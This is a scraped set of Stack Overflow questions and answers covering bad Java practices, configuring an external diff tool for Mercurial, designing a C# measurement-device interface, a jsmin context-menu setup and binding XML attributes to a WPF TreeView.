"https://Stackoverflow.com/users/483528", "pm_score": 1, "selected": false, "text": "<p>AbstractSpringBeanFactoryFactoryFacadeMutatorBeanFactory. I can't stand this over-engineered, incomprehensible BS. <a href=\"http://discuss.joelonsoftware.com/default.asp?joel.3.219431.12\" rel=\"nofollow\">Benji Smith</a> puts it a bit more elegantly.</p>\n" }, { "answer_id": 4673354, "author": "S E", "author_id": 545199, "author_profile": "https://Stackoverflow.com/users/545199", "pm_score": 1, "selected": false, "text": "<p>Here is a cropped sample from an actual applet i was to maintain it took me forever to realize what is was doing.</p>\n\n<pre><code>int sval, eval, stepv, i;\ndouble d;\n if (/*someCondition*/)\n {\n sval = 360;//(all values multiplied by 20)\n eval = -271;\n stepv = -10;\n }\n else if (/*someCondition*/)\n {\n sval = 320;\n eval = -601;\n stepv = -10;\n }\n else if (/*someCondition*/)\n {\n sval = 0;\n eval = -311;\n stepv = -10;\n\n }\n else\n {\n sval = 360;\n eval = -601;\n stepv = -10;\n }\n for (i = sval; i &gt; eval; i = i + stepv)\n {\n d = i;\n d = d / 20.0;\n //do some more stuff in loop\n }\n</code></pre>\n\n<p>turns out he wanted to iterate by .5 over the loop\nand thats not a pasting error, that is the indentation scheme</p>\n" }, { "answer_id": 4673492, "author": "TheCottonSilk", "author_id": 545691, "author_profile": "https://Stackoverflow.com/users/545691", "pm_score": 2, "selected": false, "text": "<p>In File I/O: incorrect use of try-catch block.</p>\n\n<pre><code>try {\n /* open file */\n}\ncatch(Exception e) {\n e.printStackTrace();\n}\n\ntry {\n /* read file content */\n}\ncatch (Exception e) {\n e.printStackTrace();\n}\n\ntry {\n /* close the file */\n}\ncatch (Exception e) {\n e.printStackTrace();\n}\n</code></pre>\n" }, { "answer_id": 4991408, "author": "CodeClimber", "author_id": 355620, "author_profile": "https://Stackoverflow.com/users/355620", "pm_score": 4, "selected": false, "text": "<p>saw something like this:</p>\n\n<pre><code>public static boolean isNull(int value) {\n Integer integer = new Integer(value);\n\n if(integer == null) {\n return true;\n } else {\n return false;\n }\n}\n</code></pre>\n\n<p>They had a similar method for longs.</p>\n\n<p>I presume they had originally done something like</p>\n\n<pre><code>if(value == null) {\n</code></pre>\n\n<p>and got a compile error and still didn't realise that primitive values couldn't be null.</p>\n" }, { "answer_id": 5023649, "author": "Tomas Andrle", "author_id": 35440, "author_profile": "https://Stackoverflow.com/users/35440", "pm_score": 3, "selected": false, "text": "<h1>Not thinking like a programmer should.</h1>\n\n<p><strong>After prolonged exposure, Java does that to some people.</strong></p>\n\n<p>Why? My opinion is that it's because there's <strong>too much Intellisense and no sense</strong>. It lets you do stupid things so quickly that people don't stop to think.</p>\n\n<p><strong>Example 1:</strong></p>\n\n<pre><code>boolean negate( boolean shouldNegate, boolean value ) {\n return (shouldNegate?(!value):value;\n}\n</code></pre>\n\n<p>which, of course is the same as value ^ shouldNegate, a simple XOR.</p>\n\n<p><strong>Example 2:</strong> (I swear I'm not making this up)</p>\n\n<pre><code>boolean isNotNull( Object o ) {\n return o != null;\n}\n</code></pre>\n\n<p>Both with additional 4-6 lines of Javadoc, <em>explaining</em> what those methods did.</p>\n\n<p><strong>Example 3:</strong></p>\n\n<pre><code>/**\n*\n*\n*/\n</code></pre>\n\n<p>An empty Javadoc, to make those <em>annoying</em> Eclipse \"missing Javadoc\" warnings go away.</p>\n\n<p><strong>Example 3b:</strong></p>\n\n<pre><code>/**\n* A constructor. Takes no parameters and creates a new instance of MyClass.\n*/\npublic MyClass() {\n}\n</code></pre>\n" }, { "answer_id": 9292054, "author": "MrJames", "author_id": 1211095, "author_profile": "https://Stackoverflow.com/users/1211095", "pm_score": 0, "selected": false, "text": "<p>Converting a naked XML message (without XSD/namespaces) into a DataObject:</p>\n\n<pre><code>DataObject operation_file = boFactory....\n\ntry{operation_file.setString(\"file_name\", Constants.getTagValue(\"file_name\", eElementOp));}catch (Exception e){operation_file.setString(\"file_name\",\"\");}\ntry{operation_file.setDate(\"proposed_execution_date\", sdf.parse(Constants.getTagValue(\"proposed_execution_date\", eElementOp)));}catch (Exception e){operation_file.setString(\"proposed_execution_date\",null);}\ntry{operation_file.setString(\"instructions\", Constants.getTagValue(\"instructions\", eElementOp));}catch (Exception e){operation_file.setString(\"instructions\",\"\");}\ntry{operation_file.setString(\"description\", Constants.getTagValue(\"description\", eElementOp));}catch (Exception e){operation_file.setString(\"description\",\"\");}\n</code></pre>\n\n<p>I've called it the try-catch oriented programming (tcop)...</p>\n" }, { "answer_id": 9292172, "author": "Jivings", "author_id": 334274, "author_profile": "https://Stackoverflow.com/users/334274", "pm_score": 1, "selected": false, "text": "<p>Huge Class names. I remember: <code>AbstractTableComponentListeningBehaviourPanel.java</code> and other similar monsters. </p>\n\n<p>The worst part is, even though the naming convention was crazy detailed, I still had to pick apart the files to work out their purpose.</p>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238173", "https://Stackoverflow.com", "https://Stackoverflow.com/users/686/" ]
Similar to [this question](https://stackoverflow.com/questions/233030/worst-php-practice-found-in-your-experience)... What are the worst practices you actually found in Java code? Mine are: * using instance variables in servlets (it's not just bad practice but bug, actually) * using Collection implementations like HashMap, and not using the appropriate interfaces * using seemingly cryptic class names like SmsMaker (SmsFactory) or CommEnvironment (CommunicationContext)
I had to maintain java code, where most of the Exception handling was like: ``` catch( Exception e ) {} ```
238,183
<p>Every time I do an <code>hg diff file.ext</code> I end up using a console diff application. I would like to use Kdiff3 or WinMerge (I'm using Windows).</p> <p>Is there a way to change that? I can't find a reference in Mercurial documentation (<strong>I'm not talking about merge!</strong>). </p>
[ { "answer_id": 241018, "author": "Tute", "author_id": 4386, "author_profile": "https://Stackoverflow.com/users/4386", "pm_score": 7, "selected": true, "text": "<p>I've solved this using a Mercurial built-in extension... I just have to add the following lines to Mercurial.ini (on Mercurial folder):</p>\n\n<pre><code>[extensions]\nhgext.extdiff=\n\n[extdiff]\ncmd.vdiff = kdiff3\n</code></pre>\n\n<p>When I want to use kdiff3 instead of diff I only have to use:</p>\n\n<pre><code>hg vdiff file.ext\n</code></pre>\n" }, { "answer_id": 1445060, "author": "Marcus Leon", "author_id": 47281, "author_profile": "https://Stackoverflow.com/users/47281", "pm_score": 3, "selected": false, "text": "<p>With this config</p>\n\n<pre><code>[extdiff]\ncmd.kdiff3 =\n</code></pre>\n\n<p>I use this command to see diffs:</p>\n\n<pre><code>hg kdiff\n</code></pre>\n\n<p>This shows a directory tree with all files that have changed. You click a file to see diffs for just the file. You may be able to add a file parameter to the command to just see one file.</p>\n\n<p>More info <a href=\"https://www.mercurial-scm.org/wiki/KDiff3\" rel=\"nofollow noreferrer\">here</a>.</p>\n" }, { "answer_id": 4520949, "author": "Ken", "author_id": 552641, "author_profile": "https://Stackoverflow.com/users/552641", "pm_score": 2, "selected": false, "text": "<p>I just had this problem a few minutes ago; I just installed it and added its path (default is at c:\\program files\\kdiff3) to my system PATH e.v. Restarted my window to pick up the new path, and \"hg kdiff3\" just worked. As it turns out the following is in my base \"mercurial.ini\" file, this allows the kdiff3 to work for all hg repos on the system.</p>\n\n<pre><code>[extensions] \nhgext.extdiff = \n\n[extdiff] \ncmd.kdiff3 =\n\n[merge-tools] \nkdiff3.args = $base $local $other -o $output\n</code></pre>\n" }, { "answer_id": 39371137, "author": "musa", "author_id": 370336, "author_profile": "https://Stackoverflow.com/users/370336", "pm_score": 3, "selected": false, "text": "<p>If you are looking for something like <code>git difftool</code>, where you don't need to type the filenames and see the diff for all changed files, add these to your <code>~/.hgrc</code>, and run <code>hg difftool</code>.</p>\n\n<pre><code>[extensions]\nextdiff =\n\n[extdiff]\ncmd.vimdiff = vimdiff\n\n[alias]\ndifftool = !for file in $(hg status -n); do hg vimdiff $file; done\n</code></pre>\n\n<p>or for windows:</p>\n\n<pre><code>[alias]\ndifftool = !FOR /f %F IN ('hg status -nmar') DO hg vimdiff %F\n</code></pre>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238183", "https://Stackoverflow.com", "https://Stackoverflow.com/users/4386/" ]
Every time I do an `hg diff file.ext` I end up using a console diff application. I would like to use Kdiff3 or WinMerge (I'm using Windows). Is there a way to change that? I can't find a reference in Mercurial documentation (**I'm not talking about merge!**).
I've solved this using a Mercurial built-in extension... I just have to add the following lines to Mercurial.ini (on Mercurial folder): ``` [extensions] hgext.extdiff= [extdiff] cmd.vdiff = kdiff3 ``` When I want to use kdiff3 instead of diff I only have to use: ``` hg vdiff file.ext ```
238,184
<p>My application uses measurement instruments that are connected to the PC. I want to make it possible to use similar instruments from different vendors. </p> <p>So I defined an interface: </p> <pre><code>interface IMeasurementInterface { void Initialize(); void Close(); } </code></pre> <p>So far so good. Before a measurement I need to setup the instrument and this means for different instruments very different parameters. So I want to define a method that takes parameters that can have different structures:</p> <pre><code>interface IMeasurementInterface { void Initialize(); void Close(); void Setup(object Parameters); } </code></pre> <p>I will then cast the object to whatever I need. Is this the way to go?</p>
[ { "answer_id": 238199, "author": "Andru Luvisi", "author_id": 5922, "author_profile": "https://Stackoverflow.com/users/5922", "pm_score": 0, "selected": false, "text": "<p>That would probably work. Another option is to pass the parameters in a dictionary.</p>\n" }, { "answer_id": 238210, "author": "Eoin Campbell", "author_id": 30155, "author_profile": "https://Stackoverflow.com/users/30155", "pm_score": 4, "selected": false, "text": "<p>You might be better off coming up with an abstract \"Parameters\" class that is extended by each different instruments parameters... e.g. and then using Generics to ensure that the correct parameters are passed to the correct classes...</p>\n\n<pre><code>public interface IMeasurement&lt;PARAMTYPE&gt; where PARAMTYPE : Parameters\n{\n void Init();\n void Close();\n void Setup(PARAMTYPE p);\n}\n\npublic abstract class Parameters\n{\n\n}\n</code></pre>\n\n<p>And then for each specific Device,</p>\n\n<pre><code>public class DeviceOne : IMeasurement&lt;ParametersForDeviceOne&gt;\n{\n public void Init() { }\n public void Close() { }\n public void Setup(ParametersForDeviceOne p) { }\n}\n\npublic class ParametersForDeviceOne : Parameters\n{\n\n}\n</code></pre>\n" }, { "answer_id": 238247, "author": "Kasper", "author_id": 23499, "author_profile": "https://Stackoverflow.com/users/23499", "pm_score": 2, "selected": false, "text": "<p>To me it sound like the <a href=\"http://en.wikipedia.org/wiki/Factory_method_pattern\" rel=\"nofollow noreferrer\">Factory</a> pattern might be usefull, especially if your are going to unit test your app. </p>\n" }, { "answer_id": 239204, "author": "computinglife", "author_id": 17224, "author_profile": "https://Stackoverflow.com/users/17224", "pm_score": 1, "selected": false, "text": "<p>If you are going to deal with even more than one device type, then controller + device interface seperation, which communicates using Name vlaue pairs would be a good solution</p>\n\n<p><strong>DECOUPLING</strong></p>\n\n<p>Using name value pairs allows you to seperate your code into a device + controller + application code structure</p>\n\n<p><strong>Sample Code</strong></p>\n\n<pre><code>class DeviceInterface\n {\n void Initialize(IController &amp; Controller);\n void Close();\n bool ChangeParameter(const string &amp; Name, const string &amp; Value); \n bool GetParam(string &amp; Name, string &amp;Value );\n }\n</code></pre>\n\n<p>Each device implementation, when created should be created with the identification of the controller that can accept its commands and translate them into the actual device commands</p>\n\n<pre><code>interface IController\n {\n Initialize(DeviceSpecific &amp; Params);\n Close();\n bool ChangeParameter(string &amp; Name, string &amp; Value);\n bool ChangeParams(string &amp; Name[], string &amp;Value []);\n }\n</code></pre>\n\n<p>Your user code would look something like this</p>\n\n<pre><code>IController objController = new MeasurementDevice(MeasureParram);\n\nDeviceInterface MeasureDevice = new DeviceInterface(objController);\n\nstring Value;\n\nMeasureDevice.GetParam(\"Temperature\", Value);\n\nif (ConvertStringToInt(Value) &gt; 80)\n {\n MeasureDevice.ChangeParameter(\"Shutdown\", \"True\");\n RaiseAlert();\n }\n</code></pre>\n\n<p>All that the DeviceInterface class should do is take care of passing the commands to the controller. The controller should take care of the device communication. </p>\n\n<p><strong>Advantages of the interface seperation</strong></p>\n\n<p><strong>Protect againt changes</strong></p>\n\n<p>This sort of decoupling will allow you to isolate your app code from the controller. Changes in the device does not affect your user code</p>\n\n<p><strong>Maintainability of Appliction Code</strong></p>\n\n<p>Addtionally the user code is always clean and you need bother only with the application logic. But had you defined multiple interfaces / created templates or generics with multiple types of parameter structs specific to controller, your code would have lots of device dependent junk in it which might hurt readability and create maintenance issues whenever your device / its parameters changes. </p>\n\n<p><strong>Implementation ease</strong></p>\n\n<p>You can also hive off different controller implementations into its own projects. Plus your application can also configure commands and responses in a more dynamic naure using XML files etc that can ship along with the controller classes such that your entire application becomes more dynamic in nature. </p>\n\n<p><strong>Real Life</strong></p>\n\n<p>One of the latest production controller projects from the leader in that domain works in the same manner. But they use LON for the device communication.</p>\n\n<p><strong>LON ?</strong> </p>\n\n<p>LON protocol used in controllers (think air-conditioner / boiler / fans etc) networks use this concept to talk to various devices</p>\n\n<p>So all that you would need to have is a single interface that can talk to your device and then sends the name value pair to it using LON. he use of a standard protocol will also allow you to talk to other devices besides your measurement instrument. There are open source implementations of LON available if your device uses LON. </p>\n\n<p>If your device does not support LON then you might have to design something where the user code still works on name value pairs and an opposite interface translates your name value pairs into an equivalet corresponding cotroller struct+ and communicates to the individua device in the way the device understands . </p>\n\n<p>Hope this comes useful.</p>\n" }, { "answer_id": 239267, "author": "Mike Minutillo", "author_id": 358, "author_profile": "https://Stackoverflow.com/users/358", "pm_score": 1, "selected": false, "text": "<p>It depends on how you are going to get the parameters in the first place. If they are stored off in a database table or a config file somewhere and it's just values that need to be set then passing in a dictionary will probably do it (although you do lose type safety). If your setup processes are going to be a little more complicated then I'd consider abstracting away the setup process a little further and performing a double dispatch (pushing the cast operation into a new setup class). Like this</p>\n\n<pre><code>public interface IMeasurementInterface\n{\n void Initialize();\n void Close();\n void Setup( IConfigurer config );\n}\n\npublic interface IConfigurer\n{\n void ApplyTo( object obj );\n}\n\npublic abstract ConfigurerBase&lt;T&gt; : IConfigurer where T : IMeasurementInterface\n{\n protected abstract void ApplyTo( T item );\n\n void IConfigurator.ApplyTo(object obj )\n {\n var item = obj as T;\n if( item == null )\n throw new InvalidOperationException(\"Configurer can't be applied to this type\");\n ApplyTo(item);\n }\n}\n</code></pre>\n\n<p>This way you aren't messing up your Measurement class hierarchy (or providing no implementation and assuming that all implementations will do what you want anyway). It also means that you can test your Setup code by passing in a fake (or Mocked) Measurement device.</p>\n\n<p>If the setup process needs to manipulate private or protected data then you can make the concrete implementation of the IConfigurer reside inside its corresponding Measurement class.</p>\n" }, { "answer_id": 239716, "author": "RS Conley", "author_id": 7890, "author_profile": "https://Stackoverflow.com/users/7890", "pm_score": 1, "selected": false, "text": "<p>I have to this for my software as I need to support many different types of motion controllers for metal cutting machines.</p>\n\n<p>Your interface has the basics you need. The thing you need to remember is that you don't need to pass in a list of parameters. You pointed out each type of device could have a very different type of setup. </p>\n\n<p>The way I do it is as follows</p>\n\n<pre><code>interface IMeasurementInterface\n{\n void Initialize();\n void Close();\n void Setup();\n void Read (FileReader as &lt;whatever read file object you are using&gt;)\n void Store (FileReader as &lt;whatever read file object you are using&gt;)\n string Name();\n}\n</code></pre>\n\n<p>Setup calls a dialog box created in the assembly of the IMeasurementDevice. The dialog is NOT Visible outside of the assembly.</p>\n\n<p>Now I know some object oriented or MVC purist may object to this. However I feel the concept of hiding the internals of a specific Measurement class outweighs strict adherence to the MVC architecture. </p>\n\n<p>My general philosophy is that trival dialog are implemented in the same assembly provided that it is private to the assembly and called by an object implementing on the standard interfaces that I setup. Again the reason for this is I find hiding the internals to be more valuable than trying to implement all the dialogs in the top level assembly. </p>\n\n<p>By specifying a Read Method and a Store method you eliminate the need to expose the internal setup parameters for saving. All you need is to pass whatever type of file storage object you are using to save your setup parameters.</p>\n\n<p>Finally like another poster stated you need to setup a Factory Class in your assembly containing all your measurement devices. During your setup you need to instantiate this class and retrieve the list of supported measurement devices. </p>\n\n<p>The way I do it is my factory class retrieves a list of motion controllers. This list is part of a master class where all the setup classes are stored. When I read my setup files I get the controllers that are actually being used. I retrieve those classes out of the list and place them in another list that is actually used during the cutting process.</p>\n\n<p>The reason I do it this way is that when the user is setting up motion controllers he need to be able to pick from a list of ALL the available controls in order to tell the software which one he has. I find it more responsive to keep a list of available controllers around.</p>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238184", "https://Stackoverflow.com", "https://Stackoverflow.com/users/30507/" ]
My application uses measurement instruments that are connected to the PC. I want to make it possible to use similar instruments from different vendors. So I defined an interface: ``` interface IMeasurementInterface { void Initialize(); void Close(); } ``` So far so good. Before a measurement I need to setup the instrument and this means for different instruments very different parameters. So I want to define a method that takes parameters that can have different structures: ``` interface IMeasurementInterface { void Initialize(); void Close(); void Setup(object Parameters); } ``` I will then cast the object to whatever I need. Is this the way to go?
You might be better off coming up with an abstract "Parameters" class that is extended by each different instruments parameters... e.g. and then using Generics to ensure that the correct parameters are passed to the correct classes... ``` public interface IMeasurement<PARAMTYPE> where PARAMTYPE : Parameters { void Init(); void Close(); void Setup(PARAMTYPE p); } public abstract class Parameters { } ``` And then for each specific Device, ``` public class DeviceOne : IMeasurement<ParametersForDeviceOne> { public void Init() { } public void Close() { } public void Setup(ParametersForDeviceOne p) { } } public class ParametersForDeviceOne : Parameters { } ```
238,194
<p>I use <a href="http://www.crockford.com/javascript/jsmin.html" rel="nofollow noreferrer">jsmin</a> to compress my javascript files before uploading them to production.</p> <p>Since I tend to have one "code-behind" javascript file per page, I wind up doing this a lot.</p> <p>I installed a Windows Powertoy that adds a context menu item in Windows Explorer, so I can "Open Command Window Here". When I click that, the command prompt opens up in the right directory. That saves a little bit of typing.</p> <p>However, I still have to type something like:</p> <pre><code>jsmin &lt;script.js&gt; script.min.js </code></pre> <p>To get it to work. This is a hassle.</p> <p>I'd like to create a context menu item that will allow me to right-click on a *.js file and select "jsmin-compress this file." Then jsmin would be invoked, and the original file would be compressed into "original_filename.<b>min</b>.js"</p> <p>How can I do this?</p>
[ { "answer_id": 238204, "author": "Andrew Cox", "author_id": 27907, "author_profile": "https://Stackoverflow.com/users/27907", "pm_score": 0, "selected": false, "text": "<p>you could drop a link to a batch script into the user sendto directory. Something like</p>\n\n<pre><code>jsmin %1 script.min.js\n</code></pre>\n\n<p>which is what I usually do</p>\n" }, { "answer_id": 238216, "author": "Nescio", "author_id": 14484, "author_profile": "https://Stackoverflow.com/users/14484", "pm_score": 0, "selected": false, "text": "<p>You could do it using a batch file and Open With...</p>\n\n<pre><code> Set jsminPath=\"C:\\SomePath\\jsmin.exe\"\n %~d1 \n CD %~d1%~p1 \n %jsminPath% \"%~n1.js\" \"%~n1.min.js\" \n</code></pre>\n" }, { "answer_id": 238256, "author": "duckyflip", "author_id": 7370, "author_profile": "https://Stackoverflow.com/users/7370", "pm_score": 1, "selected": false, "text": "<p>Here is how to add an entry to your context menu for .js files:</p>\n\n<pre><code>[HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\JSFile\\shell\\JSMinify]\n@=\"JSMinify\" \n\n[HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\JSFile\\shell\\JSMinify\\Command]\n@=\"cmd.exe /c \\\"implement whatever cmd-friendly functions you want here (can use %1 and %%f) \"\n</code></pre>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238194", "https://Stackoverflow.com", "https://Stackoverflow.com/users/28118/" ]
I use [jsmin](http://www.crockford.com/javascript/jsmin.html) to compress my javascript files before uploading them to production. Since I tend to have one "code-behind" javascript file per page, I wind up doing this a lot. I installed a Windows Powertoy that adds a context menu item in Windows Explorer, so I can "Open Command Window Here". When I click that, the command prompt opens up in the right directory. That saves a little bit of typing. However, I still have to type something like: ``` jsmin <script.js> script.min.js ``` To get it to work. This is a hassle. I'd like to create a context menu item that will allow me to right-click on a \*.js file and select "jsmin-compress this file." Then jsmin would be invoked, and the original file would be compressed into "original\_filename.**min**.js" How can I do this?
Here is how to add an entry to your context menu for .js files: ``` [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JSFile\shell\JSMinify] @="JSMinify" [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JSFile\shell\JSMinify\Command] @="cmd.exe /c \"implement whatever cmd-friendly functions you want here (can use %1 and %%f) " ```
238,196
<p>I have an XML that needs to be databound to a <strong>WPF TreeView</strong>. Here the XML can have different structure. The TreeView should be databound generic enough to load any permutation of hierarchy. However an <strong>XAttribute</strong> on the nodes (called <strong>Title</strong>) should be databound to the TreeViewItem's <strong>header text</strong> and <strong>not the nodename</strong>.</p> <p>XML to be bound:</p> <pre><code>&lt;Wizard&gt; &lt;Section Title="Home"&gt; &lt;Loop Title="Income Loop"&gt; &lt;Page Title="Employer Income"/&gt; &lt;Page Title="Parttime Job Income"/&gt; &lt;Page Title="Self employment Income"/&gt; &lt;/Loop&gt; &lt;/Section&gt; &lt;Section Title="Deductions"&gt; &lt;Loop Title="Deductions Loop"&gt; &lt;Page Title="Travel spending"/&gt; &lt;Page Title="Charity spending"/&gt; &lt;Page Title="Dependents"/&gt; &lt;/Loop&gt; &lt;/Section&gt; &lt;/Wizard&gt; </code></pre> <p>XAML:</p> <pre><code>&lt;Window x:Class="Wpf.DataBinding.TreeViewer" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:local="clr-namespace:Wpf.DataBinding" Title="TreeViewer" Height="300" Width="300"&gt; &lt;Window.Resources&gt; &lt;HierarchicalDataTemplate ItemsSource="{Binding Path=Elements}" x:Key="TVTemplate"&gt; &lt;TreeViewItem Header="{Binding Path=Name}"/&gt; &lt;/HierarchicalDataTemplate&gt; &lt;/Window.Resources&gt; &lt;StackPanel&gt; &lt;TreeView x:Name="_treeView" Style="{StaticResource TVallExpanded}" ItemsSource="{Binding Path=Root.Elements}" ItemTemplate="{StaticResource TVTemplate}" /&gt; &lt;/StackPanel&gt; &lt;/Window&gt; </code></pre> <p>XAML's codebehind that loads XML to XDocument and binds it to TreeView</p> <pre><code>public partial class TreeViewer : Window { public TreeViewer() { InitializeComponent(); XDocument doc = XDocument.Parse(File.ReadAllText(@"C:\MyWizard.xml")); _treeView.DataContext = doc; } } </code></pre> <p>So in the XAML markup we are binding Name to TreeViewItem's header.</p> <pre><code>&lt;TreeViewItem Header="{Binding Path=Name}"/&gt; </code></pre> <p>However, I want to bind it to <strong>Title</strong> attribute of Section, Loop and Page in the Xml above. I read that it's not possible to use XPath while binding XDocument. But there has to be a way to bind the <strong>Title</strong> attribute to TreeViewItem's Header text. I tried using @Title, .[@Title] etc. But none seemed to work.</p> <p>This <a href="http://social.msdn.microsoft.com/forums/en-US/wpf/thread/edd843b7-b378-4c2d-926f-c053dbd7b340" rel="nofollow noreferrer">thread on MSDN Forums</a> has a similar discussion.</p> <p>Any pointers would be greatly helpful.</p>
[ { "answer_id": 238253, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 2, "selected": false, "text": "<p>I think all you need to do is create a <a href=\"http://msdn.microsoft.com/en-us/library/system.windows.hierarchicaldatatemplate.aspx\" rel=\"nofollow noreferrer\">HierarchicalDataTemplate</a> for each node type in your XML, load your xml it into an <a href=\"http://msdn.microsoft.com/en-us/library/ms749287.aspx\" rel=\"nofollow noreferrer\">XmlDataProvider</a>, and then bind <em>that</em> to the TreeView. The TV works with the XDP to bind data, and somewhere along the line they figure out what HDTs you have defined and match their DataType to the names of the nodes in your XML. You might have some issues with your XPATHs changing with the different types of data, but keeping those flexible is another question.</p>\n\n<p>For example, I have a little regex test app. It includes a help system which is essentially all the different regex parts listed in a tree: Categories and parts with descriptions, tooltips, and other stuff. The data about the parts is stored as an xml data source. Since its static, I just created a static resource with the application's resources:</p>\n\n<pre><code>&lt;XmlDataProvider\n x:Key=\"rxPartData\"\n XPath=\"RegexParts\"&gt;\n &lt;x:XData&gt;\n &lt;RegexParts\n xmlns=\"\"&gt;\n &lt;Category\n Name=\"Character class\"\n ToolTip=\"Sets of characters used in matching\"&gt;\n &lt;RegexPart\n Regex=\"[%]\"\n Hint=\"Positive character group\"\n ToolTip=\"Matches any character in the specified group (replace % with one or more characters)\" /&gt;\n &lt;!-- yadda --&gt;\n &lt;/Category&gt;\n &lt;/RegexParts&gt;\n &lt;/x:XData&gt;\n&lt;/XmlDataProvider&gt;\n</code></pre>\n\n<p>Next, I created <a href=\"http://msdn.microsoft.com/en-us/library/system.windows.hierarchicaldatatemplate.aspx\" rel=\"nofollow noreferrer\">HierarchicalDataTemplates</a> for each node type in the data (again, all of this is in the application's resources):</p>\n\n<pre><code>&lt;!-- Category data template --&gt;\n&lt;HierarchicalDataTemplate\n DataType=\"Category\"\n ItemsSource=\"{Binding XPath=*}\"&gt;\n &lt;TextBlock\n Focusable=\"False\"\n Text=\"{Binding XPath=@Name}\"\n ToolTip=\"{StaticResource CategoryTooltip}\"\n ToolTipService.InitialShowDelay=\"0\"\n ToolTipService.ShowDuration=\"{x:Static sys:Int32.MaxValue}\"\n ToolTipService.HasDropShadow=\"True\" /&gt;\n&lt;/HierarchicalDataTemplate&gt;\n&lt;!-- RegexPart data template --&gt;\n&lt;HierarchicalDataTemplate\n DataType=\"RegexPart\"\n ItemsSource=\"{Binding XPath=*}\"&gt;\n &lt;WrapPanel\n Focusable=\"False\"\n ToolTip=\"{StaticResource RegexPartTooltip}\"\n ToolTipService.InitialShowDelay=\"0\"\n ToolTipService.ShowDuration=\"{x:Static sys:Int32.MaxValue}\"\n ToolTipService.HasDropShadow=\"True\"&gt;\n &lt;TextBlock\n Text=\"{Binding XPath=@Regex}\" /&gt;\n &lt;TextBlock\n Text=\" - \" /&gt;\n &lt;TextBlock\n Text=\"{Binding XPath=@Hint}\" /&gt;\n &lt;/WrapPanel&gt;\n&lt;/HierarchicalDataTemplate&gt;\n</code></pre>\n\n<p>Lastly, I just bound the tree to the XmlDataProvider:</p>\n\n<pre><code>&lt;TreeView\n Name=\"_regexParts\"\n DockPanel.Dock=\"Top\"\n SelectedItemChanged=\"RegexParts_SelectedItemChanged\"\n ItemsSource=\"{Binding Source={StaticResource rxPartData}, XPath=/RegexParts/Category}\"\n ToolTip=\"Click the + to expand a category; click a part to insert it\"&gt;\n&lt;/TreeView&gt;\n</code></pre>\n\n<p>And that's all you have to do. The TreeView and the <a href=\"http://msdn.microsoft.com/en-us/library/ms749287.aspx\" rel=\"nofollow noreferrer\">XmlDataProvider</a> will take care of finding and using the correct <a href=\"http://msdn.microsoft.com/en-us/library/system.windows.hierarchicaldatatemplate.aspx\" rel=\"nofollow noreferrer\">HDT's</a> for the correct nodes in the data. The hardest part of all this is figuring out your xpaths for binding. It can get a little tricky, as if your paths are incorrect, you'll end up getting nothing in the tree and there won't be any errors (there are ways to increase error reporting in databinding in WPF, but that's another question). </p>\n" }, { "answer_id": 238282, "author": "Vin", "author_id": 1747, "author_profile": "https://Stackoverflow.com/users/1747", "pm_score": 5, "selected": true, "text": "<p>Hurrah !!! I figured out how to bind XAttribute. It is not intuitive and it's not easily imaginable. But here is how it can be done.</p>\n\n<pre><code>&lt;TreeViewItem Header=\"{Binding Path=Attribute[Title].Value}\"/&gt;\n</code></pre>\n\n<p>It is hard to imagine that Title can directly be used in square braces.</p>\n\n<p><a href=\"http://msdn.microsoft.com/en-us/library/cc165615.aspx\" rel=\"noreferrer\">More @ this MSDN link</a></p>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238196", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1747/" ]
I have an XML that needs to be databound to a **WPF TreeView**. Here the XML can have different structure. The TreeView should be databound generic enough to load any permutation of hierarchy. However an **XAttribute** on the nodes (called **Title**) should be databound to the TreeViewItem's **header text** and **not the nodename**. XML to be bound: ``` <Wizard> <Section Title="Home"> <Loop Title="Income Loop"> <Page Title="Employer Income"/> <Page Title="Parttime Job Income"/> <Page Title="Self employment Income"/> </Loop> </Section> <Section Title="Deductions"> <Loop Title="Deductions Loop"> <Page Title="Travel spending"/> <Page Title="Charity spending"/> <Page Title="Dependents"/> </Loop> </Section> </Wizard> ``` XAML: ``` <Window x:Class="Wpf.DataBinding.TreeViewer" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:local="clr-namespace:Wpf.DataBinding" Title="TreeViewer" Height="300" Width="300"> <Window.Resources> <HierarchicalDataTemplate ItemsSource="{Binding Path=Elements}" x:Key="TVTemplate"> <TreeViewItem Header="{Binding Path=Name}"/> </HierarchicalDataTemplate> </Window.Resources> <StackPanel> <TreeView x:Name="_treeView" Style="{StaticResource TVallExpanded}" ItemsSource="{Binding Path=Root.Elements}" ItemTemplate="{StaticResource TVTemplate}" /> </StackPanel> </Window> ``` XAML's codebehind that loads XML to XDocument and binds it to TreeView ``` public partial class TreeViewer : Window { public TreeViewer() { InitializeComponent(); XDocument doc = XDocument.Parse(File.ReadAllText(@"C:\MyWizard.xml")); _treeView.DataContext = doc; } } ``` So in the XAML markup we are binding Name to TreeViewItem's header. ``` <TreeViewItem Header="{Binding Path=Name}"/> ``` However, I want to bind it to **Title** attribute of Section, Loop and Page in the Xml above. I read that it's not possible to use XPath while binding XDocument. But there has to be a way to bind the **Title** attribute to TreeViewItem's Header text. I tried using @Title, .[@Title] etc. But none seemed to work. This [thread on MSDN Forums](http://social.msdn.microsoft.com/forums/en-US/wpf/thread/edd843b7-b378-4c2d-926f-c053dbd7b340) has a similar discussion. Any pointers would be greatly helpful.
Hurrah !!! I figured out how to bind XAttribute. It is not intuitive and it's not easily imaginable. But here is how it can be done. ``` <TreeViewItem Header="{Binding Path=Attribute[Title].Value}"/> ``` It is hard to imagine that Title can directly be used in square braces. [More @ this MSDN link](http://msdn.microsoft.com/en-us/library/cc165615.aspx)
238,223
